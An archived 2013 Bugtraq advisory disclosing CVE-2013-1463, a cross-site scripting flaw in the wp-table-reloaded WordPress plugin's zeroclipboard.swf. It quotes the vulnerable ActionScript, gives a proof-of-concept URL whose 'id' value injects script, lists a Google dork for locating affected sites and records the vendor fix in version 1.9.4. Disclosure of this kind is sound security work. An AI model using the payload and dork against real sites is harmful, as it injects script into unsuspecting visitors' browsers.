bugtraq - [CVE-2013-1463]Wordpress wp-table-reloaded‏ plugin XSS in SWF

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Wed, 6 Feb 2013 08:08:38 GMT
From: hip@...ight-labs.org
To: bugtraq@...urityfocus.com
Subject: [CVE-2013-1463]Wordpress wp-table-reloaded&#8207; plugin XSS in SWF

# Exploit Title: Wordpress wp-table-reloaded&#8207; plugin XSS in SWF
# Release Date: 24/01/13
# Author: hip [Insight-Labs]
# Contact: hip@...ight-labs.org | Website: http://insight-labs.org
# Software Link: http://downloads.wordpress.org/plugin/wp-table-reloaded.latest-stable.zip
# Vendor Homepage: http://tobias.baethge.com/
# Tested on: XPsp3
# Infected version: 1.9.4 before
# Google Dork: inurl:/wp-content/plugins/wp-table-reloaded/
# Ref: CVE-2013-1463
-----------------------------------------------------------------------------------------------------------------------
# Introduction: 
WP-Table Reloaded enables you to create and manage tables, 
without having to write HTML code, and it adds valuable functions for your visitors. 
-------------------------------------------------------------------------------------------------------------------------
# XSS - Proof Of Concept:
vulnerable path:
/wp-content/plugins/wp-table-reloaded/js/tabletools/zeroclipboard.swf
vulnerabile parameter:id

piece of code:
            flashvars = LoaderInfo(this.root.loaderInfo).parameters;
            this.domId = flashvars.id;           <-- vulnerable input

ExternalInterface.call("ZeroClipboard.dispatch", domId, "mouseOver", null); <- vulnerable call

POC:
/wp-content/plugins/wp-table-reloaded/js/tabletools/zeroclipboard.swf?id=a\%22%29%29}catch%28e%29{alert%281%29}//

-------------------------------------------------------------------------------------------------------------------------
# Patch:
-- Vendor was notified on the 23/01/2013
-- Vendor released version 1.9.4 on 27/01/2013 Fixed the bug
-- Reward 50 USD from white fir design on 30/01/2013